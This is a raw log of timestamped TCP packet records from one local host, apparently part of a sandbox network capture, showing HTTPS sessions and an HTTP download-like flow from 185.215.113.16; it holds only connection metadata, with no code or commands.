Nov 18, 2024 17:23:10.760688066 CET	443	49732	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:10.770493984 CET	49732	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:10.770685911 CET	49732	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:10.770725012 CET	443	49732	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:10.770806074 CET	49732	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:10.770817041 CET	443	49732	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:11.588802099 CET	443	49732	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:11.589035988 CET	443	49732	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:11.589031935 CET	49732	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:11.589109898 CET	49732	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:11.787662983 CET	49733	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:11.787703037 CET	443	49733	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:11.787795067 CET	49733	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:11.788062096 CET	49733	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:11.788077116 CET	443	49733	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:12.405949116 CET	443	49733	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:12.406056881 CET	49733	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:12.407741070 CET	49733	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:12.407754898 CET	443	49733	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:12.408101082 CET	443	49733	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:12.409717083 CET	49733	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:12.409936905 CET	49733	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:12.410005093 CET	443	49733	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:13.195200920 CET	443	49733	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:13.195297003 CET	443	49733	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:13.195377111 CET	49733	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:13.214608908 CET	49733	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:13.214631081 CET	443	49733	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:14.171506882 CET	49734	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:14.171598911 CET	443	49734	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:14.171689987 CET	49734	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:14.172079086 CET	49734	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:14.172116995 CET	443	49734	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:14.835510969 CET	443	49734	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:14.835625887 CET	49734	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:14.836906910 CET	49734	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:14.836914062 CET	443	49734	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:14.837151051 CET	443	49734	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:14.838787079 CET	49734	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:14.838949919 CET	49734	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:14.838983059 CET	443	49734	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:14.839042902 CET	49734	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:14.839051962 CET	443	49734	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:15.883759975 CET	443	49734	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:15.883878946 CET	443	49734	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:15.883940935 CET	49734	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:15.884145021 CET	49734	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:15.884186029 CET	443	49734	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:16.228722095 CET	49735	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:16.228770971 CET	443	49735	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:16.228853941 CET	49735	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:16.229142904 CET	49735	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:16.229159117 CET	443	49735	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:16.887656927 CET	443	49735	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:16.887733936 CET	49735	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:16.889270067 CET	49735	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:16.889277935 CET	443	49735	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:16.889621019 CET	443	49735	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:16.890889883 CET	49735	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:16.890975952 CET	49735	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:16.890981913 CET	443	49735	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:18.516309977 CET	443	49735	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:18.516494036 CET	443	49735	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:18.516555071 CET	49735	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:18.516753912 CET	49735	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:18.516776085 CET	443	49735	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.011955976 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.012000084 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.012088060 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.012579918 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.012598991 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.733761072 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.733834028 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.735553026 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.735559940 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.735972881 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.737831116 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.738540888 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.738579035 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.738676071 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.738715887 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.738838911 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.738914013 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.739063978 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.739090919 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.739243984 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.739274979 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.739443064 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.739475012 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.739484072 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.739635944 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.739666939 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.749660015 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.749842882 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.749886990 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.749896049 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.749901056 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.749917030 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.750066996 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.750088930 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.750134945 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.750183105 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:19.750186920 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:19.755389929 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:21.562571049 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:21.562608957 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:21.562742949 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:21.565165997 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:21.565181017 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:22.337935925 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:22.338005066 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:22.341150999 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:22.341157913 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:22.341415882 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:22.392088890 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:23.322602034 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:23.331459999 CET	49723	80	192.168.2.4	199.232.214.172
Nov 18, 2024 17:23:23.337081909 CET	80	49723	199.232.214.172	192.168.2.4
Nov 18, 2024 17:23:23.337500095 CET	49723	80	192.168.2.4	199.232.214.172
Nov 18, 2024 17:23:23.363332033 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:23.577433109 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:23.577455997 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:23.577464104 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:23.577505112 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:23.577531099 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:23.577557087 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:23.577569008 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:23.577589989 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:23.577589989 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:23.577609062 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:23.578016996 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:23.578085899 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:23.578085899 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:23.578131914 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:24.453486919 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:24.453515053 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:24.453533888 CET	49737	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:23:24.453541994 CET	443	49737	172.202.163.200	192.168.2.4
Nov 18, 2024 17:23:25.206507921 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:25.206597090 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:25.206643105 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:25.206878901 CET	49736	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:25.206895113 CET	443	49736	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:25.216864109 CET	49742	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:25.216886044 CET	443	49742	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:25.216964960 CET	49742	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:25.217227936 CET	49742	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:25.217247009 CET	443	49742	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:25.837426901 CET	443	49742	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:25.837502003 CET	49742	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:25.838913918 CET	49742	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:25.838927984 CET	443	49742	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:25.839168072 CET	443	49742	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:25.848316908 CET	49742	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:25.848342896 CET	49742	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:25.848439932 CET	443	49742	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:26.334322929 CET	443	49742	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:26.335028887 CET	443	49742	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:26.335082054 CET	49742	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:26.335205078 CET	49742	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:26.335226059 CET	443	49742	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:26.335242987 CET	49742	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:26.335252047 CET	443	49742	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:26.336317062 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:26.341403008 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:26.341538906 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:26.341700077 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:26.346852064 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.244091034 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.244153976 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.244211912 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.244259119 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.244292974 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.244352102 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.244407892 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.244441032 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.244473934 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.244484901 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.244513035 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.244549990 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.244560003 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.244621038 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.244664907 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.249228001 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.249264002 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.249317884 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.398495913 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.398556948 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.398586035 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.398616076 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.398890972 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.398943901 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.398945093 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.398979902 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.399017096 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.399108887 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.399142981 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.399187088 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.399621010 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.399658918 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.399704933 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.399712086 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.399746895 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.399797916 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.399805069 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.400410891 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.400456905 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.515759945 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.515819073 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.515852928 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.515865088 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.515940905 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.516052008 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.516216993 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.516247034 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.516279936 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.516288042 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.516346931 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.516438961 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.516443014 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.516479015 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.516521931 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.516577959 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.516613007 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.516657114 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.574789047 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.574850082 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.574882030 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.574888945 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.574917078 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.574949980 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.574951887 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.626478910 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.633150101 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.633186102 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.633220911 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.633236885 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.633276939 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.633312941 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.633316040 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.633531094 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.633575916 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.633614063 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.633646965 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.633690119 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.633713961 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.633747101 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.633790970 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.670489073 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.670543909 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.670577049 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.670598030 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.708285093 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.708313942 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.708350897 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.714011908 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.714164019 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.714229107 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.749954939 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.749989986 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.750025034 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.750042915 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.750127077 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.750201941 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.750622988 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.750667095 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.750677109 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.750713110 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.750755072 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.750808954 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.750843048 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.750885963 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.751069069 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.751105070 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.751138926 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.751147032 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.751209021 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.751251936 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.787563086 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.787623882 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.787657022 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.787786007 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.825251102 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.825314999 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.825443983 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.831346989 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.831374884 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.831496954 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.867050886 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.867156982 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.867165089 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.867366076 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.867418051 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.867419958 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.867451906 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.867497921 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.867614031 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.867647886 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.867688894 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.867695093 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.867980957 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.868024111 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.868032932 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.868067980 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.868113995 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.868172884 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.868206978 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.868243933 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.904706955 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.904781103 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.904814005 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.904933929 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.942468882 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.942703009 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.942750931 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.948728085 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.948792934 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.948896885 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.985802889 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.985881090 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.985913038 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.985985041 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.985985994 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.986037970 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.986073971 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.986126900 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.986279964 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.986331940 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.986366034 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.986383915 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.986399889 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.986433983 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.986448050 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:27.987111092 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.987144947 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:27.987164021 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.022650957 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.022684097 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.022720098 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.022816896 CET	49743	80	192.168.2.4	185.215.113.16
